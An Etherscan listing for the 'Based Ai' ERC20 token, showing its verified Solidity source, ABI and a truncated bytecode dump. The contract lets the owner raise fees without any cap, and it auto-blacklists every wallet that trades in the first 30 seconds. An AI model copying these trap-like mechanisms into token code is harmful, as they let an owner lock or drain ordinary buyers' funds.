ETH Price: $3,286.10 (+1.27%)

Token

ERC20 ***
 

Overview

Max Total Supply

1,000,000,000 ERC20 ***

Holders

12

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BasedAi

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-02-28
*/

/**
Telegram: https://t.me/BasedAiofficials

*/

//
// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

/* solhint-disable */

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {
        owner = _owner;
    }
    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }
    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }
    function renounceOwnership() public onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }  
    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract BasedAi is ERC20, Ownable {
    using SafeMath for uint256;
    address public routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;

    string public constant _name = "Based Ai";
    string public constant _symbol = "BASEDAI";
    uint8 public constant _decimals = 9;

    uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);
    uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;

    mapping(address => uint256) public _balances;
    mapping(address => mapping(address => uint256)) public _allowances;

    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isTxLimitExempt;
    mapping(address => bool) public _isBlackListed;

    bool public isTradingEnabled;
    uint256 public startTime;
    uint256 public constant BLACKLIST_TRADE_UNTIL = 30 seconds;

    uint256 public liquidityFee = 10;
    uint256 public marketingFee = 40;
    uint256 public totalFee = liquidityFee + marketingFee;
    uint256 public feeDenominator = 1000;

    address private marketingFeeReceiver = 0x0473dA3a4f9d4BD4782a07f3F54A3B26B0411B25;

    IDEXRouter public router;
    address public pair;

    bool public swapEnabled = true;
    uint256 public swapThreshold = (_totalSupply / 1000) * 2; //
    bool internal inSwap;

    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() Ownable(msg.sender) {
        router = IDEXRouter(routerAdress);
        pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[marketingFeeReceiver] = true;
        isTxLimitExempt[owner] = true;
        isTxLimitExempt[marketingFeeReceiver] = true;
        isTxLimitExempt[DEAD] = true;

        _balances[owner] = _totalSupply;
        emit Transfer(address(0), owner, _totalSupply);
    }

    receive() external payable {}

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function decimals() external pure override returns (uint8) {
        return _decimals;
    }

    function symbol() external pure override returns (string memory) {
        return _symbol;
    }

    function name() external pure override returns (string memory) {
        return _name;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address holder, address spender) external view override returns (uint256) {
        return _allowances[holder][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        }

        if (recipient != pair && recipient != DEAD) {
            require(
                isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount,
                "Transfer amount exceeds the bag size."
            );
        }

        require(!_isBlackListed[sender] && !_isBlackListed[recipient], "Account is blacklisted");

        if (sender != owner && recipient != owner) {
            require(isTradingEnabled, "Trading not enabled yet");
            if (block.timestamp < startTime + BLACKLIST_TRADE_UNTIL) {
                if (sender == pair) {
                    _isBlackListed[recipient] = true;
                }
                if (recipient == pair) {
                    _isBlackListed[sender] = true;
                }
            }
        }

        if (shouldSwapBack()) {
            swapBack();
        }

        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount) internal returns (uint256) {
        uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
        _balances[address(this)] = _balances[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair && !inSwap && swapEnabled && _balances[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {
        uint256 contractTokenBalance = swapThreshold;
        uint256 amountToLiquify = contractTokenBalance.mul(liquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amountETH = address(this).balance.sub(balanceBefore);
        uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
        uint256 amountETHLiquidity = amountETH.mul(liquidityFee).div(totalETHFee).div(2);
        uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);

        (bool MarketingSuccess /* bytes memory data */, ) = payable(marketingFeeReceiver).call{
            value: amountETHMarketing,
            gas: 30000
        }("");
        require(MarketingSuccess, "receiver rejected ETH transfer");

        if (amountToLiquify > 0) {
            router.addLiquidityETH{ value: amountETHLiquidity }(
                address(this),
                amountToLiquify,
                0,
                0,
                marketingFeeReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountETHLiquidity, amountToLiquify);
        }
    }

    function buyTokens(uint256 amount, address to) internal swapping {
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(this);

        router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amount }(0, path, to, block.timestamp);
    }

    function clearStuckBalance() external {
        payable(marketingFeeReceiver).transfer(address(this).balance);
    }

    function setWalletLimit(uint256 amountPercent) external onlyOwner {
        _maxWalletAmount = (_totalSupply * amountPercent) / 1000;
    }

    function setFee(uint256 _liquidityFee, uint256 _marketingFee) external onlyOwner {
        liquidityFee = _liquidityFee;
        marketingFee = _marketingFee;
        totalFee = liquidityFee + marketingFee;
    }

    function enableTrading() external onlyOwner {
        require(startTime == 0, "Trading already enabled");
        isTradingEnabled = true;
        startTime = block.timestamp;
    }

    event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountETH","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountBOG","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BLACKLIST_TRADE_UNTIL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"_allowances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_balances","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isBlackListed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"routerAdress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_marketingFee","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercent","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052737a250d5630b4cf539739df2c5dacb4c659f2488d600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620000ac919062000970565b633b9aca00620000bd9190620009c1565b600355606480600354620000d29190620009c1565b620000de919062000a3b565b600455600a600c556028600d55600d54600c54620000fd919062000a73565b600e556103e8600f55730473da3a4f9d4bd4782a07f3f54a3b26b0411b25601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601260146101000a81548160ff02191690831515021790555060026103e86003546200018a919062000a3b565b620001969190620009c1565b601355348015620001a657600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e0919062000b18565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000369573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038f919062000b18565b306040518363ffffffff1660e01b8152600401620003af92919062000b5b565b6020604051808303816000875af1158015620003cf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f5919062000b18565b601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600354600560008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051620007c8919062000b99565b60405180910390a362000bb6565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000864578086048111156200083c576200083b620007d6565b5b60018516156200084c5780820291505b80810290506200085c8562000805565b94506200081c565b94509492505050565b6000826200087f576001905062000952565b816200088f576000905062000952565b8160018114620008a85760028114620008b357620008e9565b600191505062000952565b60ff841115620008c857620008c7620007d6565b5b8360020a915084821115620008e257620008e1620007d6565b5b5062000952565b5060208310610133831016604e8410600b8410161715620009235782820a9050838111156200091d576200091c620007d6565b5b62000952565b62000932848484600162000812565b925090508184048111156200094c576200094b620007d6565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200097d8262000959565b91506200098a8362000963565b9250620009b97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200086d565b905092915050565b6000620009ce8262000959565b9150620009db8362000959565b9250828202620009eb8162000959565b9150828204841483151762000a055762000a04620007d6565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000a488262000959565b915062000a558362000959565b92508262000a685762000a6762000a0c565b5b828204905092915050565b600062000a808262000959565b915062000a8d8362000959565b925082820190508082111562000aa85762000aa7620007d6565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ae08262000ab3565b9050919050565b62000af28162000ad3565b811462000afe57600080fd5b50565b60008151905062000b128162000ae7565b92915050565b60006020828403121562000b315762000b3062000aae565b5b600062000b418482850162000b01565b91505092915050565b62000b558162000ad3565b82525050565b600060408201905062000b72600083018562000b4a565b62000b81602083018462000b4a565b9392505050565b62000b938162000959565b82525050565b600060208201905062000bb0600083018462000b88565b92915050565b61328d8062000bc66000396000f3fe60806040526004361061023f5760003560e01c80636c0a24eb1161012e578063954bbdec116100ab578063b09f12661161006f578063b09f1266146108b4578063d28d8852146108df578063dd62ed3e1461090a578063f1d5f51714610947578063f887ea401461097057610246565b8063954bbdec146107cb57806395d89b41146107f657806398118cb414610821578063a8aa1b311461084c578063a9059cbb1461087757610246565b8063715018a6116100f2578063715018a61461070a57806378e9792514610721578063893d20e81461074c5780638a8c523c146107775780638b42507f1461078e57610246565b80636c0a24eb146105fd5780636c9bb93b146106285780636ddd1713146106655780636ebcf6071461069057806370a08231146106cd57610246565b80632f54bf6e116101bc5780633eaaf86b116101805780633eaaf86b146105045780633f4218e01461052f57806352f7c9881461056c578063571ac8b0146105955780636b67c4df146105d257610246565b80632f54bf6e1461042f578063313ce5671461046c57806332424aa314610497578063364333f4146104c25780633d5ca64a146104d957610246565b8063095ea7b311610203578063095ea7b314610334578063180b0d7e1461037157806318160ddd1461039c5780631df4ccfc146103c757806323b872dd146103f257610246565b8063024c2ddd1461024b57806303fd2a45146102885780630445b667146102b3578063064a59d0146102de57806306fdde031461030957610246565b3661024657005b600080fd5b34801561025757600080fd5b50610272600480360381019061026d91906126b7565b61099b565b60405161027f9190612710565b60405180910390f35b34801561029457600080fd5b5061029d6109c0565b6040516102aa919061273a565b60405180910390f35b3480156102bf57600080fd5b506102c86109e6565b6040516102d59190612710565b60405180910390f35b3480156102ea57600080fd5b506102f36109ec565b6040516103009190612770565b60405180910390f35b34801561031557600080fd5b5061031e6109ff565b60405161032b919061281b565b60405180910390f35b34801561034057600080fd5b5061035b60048036038101906103569190612869565b610a3c565b6040516103689190612770565b60405180910390f35b34801561037d57600080fd5b50610386610b2e565b6040516103939190612710565b60405180910390f35b3480156103a857600080fd5b506103b1610b34565b6040516103be9190612710565b60405180910390f35b3480156103d357600080fd5b506103dc610b3e565b6040516103e99190612710565b60405180910390f35b3480156103fe57600080fd5b50610419600480360381019061041491906128a9565b610b44565b6040516104269190612770565b60405180910390f35b34801561043b57600080fd5b50610456600480360381019061045191906128fc565b610d44565b6040516104639190612770565b60405180910390f35b34801561047857600080fd5b50610481610d9d565b60405161048e9190612945565b60405180910390f35b3480156104a357600080fd5b506104ac610da6565b6040516104b99190612945565b60405180910390f35b3480156104ce57600080fd5b506104d7610dab565b005b3480156104e557600080fd5b506104ee610e16565b6040516104fb919061273a565b60405180910390f35b34801561051057600080fd5b50610519610e3c565b6040516105269190612710565b60405180910390f35b34801561053b57600080fd5b50610556600480360381019061055191906128fc565b610e42565b6040516105639190612770565b60405180910390f35b34801561057857600080fd5b50610593600480360381019061058e9190612960565b610e62565b005b3480156105a157600080fd5b506105bc60048036038101906105b791906128fc565b610ed2565b6040516105c99190612770565b60405180910390f35b3480156105de57600080fd5b506105e7610f05565b6040516105f49190612710565b60405180910390f35b34801561060957600080fd5b50610612610f0b565b60405161061f9190612710565b60405180910390f35b34801561063457600080fd5b5061064f600480360381019061064a91906128fc565b610f11565b60405161065c9190612770565b60405180910390f35b34801561067157600080fd5b5061067a610f31565b6040516106879190612770565b60405180910390f35b34801561069c57600080fd5b506106b760048036038101906106b291906128fc565b610f44565b6040516106c49190612710565b60405180910390f35b3480156106d957600080fd5b506106f460048036038101906106ef91906128fc565b610f5c565b6040516107019190612710565b60405180910390f35b34801561071657600080fd5b5061071f610fa5565b005b34801561072d57600080fd5b50610736611068565b6040516107439190612710565b60405180910390f35b34801561075857600080fd5b5061076161106e565b60405161076e919061273a565b60405180910390f35b34801561078357600080fd5b5061078c611097565b005b34801561079a57600080fd5b506107b560048036038101906107b091906128fc565b611148565b6040516107c29190612770565b60405180910390f35b3480156107d757600080fd5b506107e0611168565b6040516107ed9190612710565b60405180910390f35b34801561080257600080fd5b5061080b61116d565b604051610818919061281b565b60405180910390f35b34801561082d57600080fd5b506108366111aa565b6040516108439190612710565b60405180910390f35b34801561085857600080fd5b506108616111b0565b60405161086e919061273a565b60405180910390f35b34801561088357600080fd5b5061089e60048036038101906108999190612869565b6111d6565b6040516108ab9190612770565b60405180910390f35b3480156108c057600080fd5b506108c96111eb565b6040516108d6919061281b565b60405180910390f35b3480156108eb57600080fd5b506108f4611224565b604051610901919061281b565b60405180910390f35b34801561091657600080fd5b50610931600480360381019061092c91906126b7565b61125d565b60405161093e9190612710565b60405180910390f35b34801561095357600080fd5b5061096e600480360381019061096991906129a0565b6112e4565b005b34801561097c57600080fd5b50610985611350565b6040516109929190612a2c565b60405180910390f35b6006602052816000526040600020602052806000526040600020600091509150505481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b600a60009054906101000a900460ff1681565b60606040518060400160405280600881526020017f4261736564204169000000000000000000000000000000000000000000000000815250905090565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b1c9190612710565b60405180910390a36001905092915050565b600f5481565b6000600354905090565b600e5481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d3057610caf826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113769092919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d3b8484846113da565b90509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b600981565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610e13573d6000803e3d6000fd5b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b60076020528060005260406000206000915054906101000a900460ff1681565b610e6b33610d44565b610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190612a93565b60405180910390fd5b81600c8190555080600d81905550600d54600c54610ec89190612ae2565b600e819055505050565b6000610efe827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610a3c565b9050919050565b600d5481565b60045481565b60096020528060005260406000206000915054906101000a900460ff1681565b601260149054906101000a900460ff1681565b60056020528060005260406000206000915090505481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610fae33610d44565b610fed576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe490612a93565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163600060405161105e919061273a565b60405180910390a1565b600b5481565b60008060009054906101000a900473ffffffffffffffffffffffffffff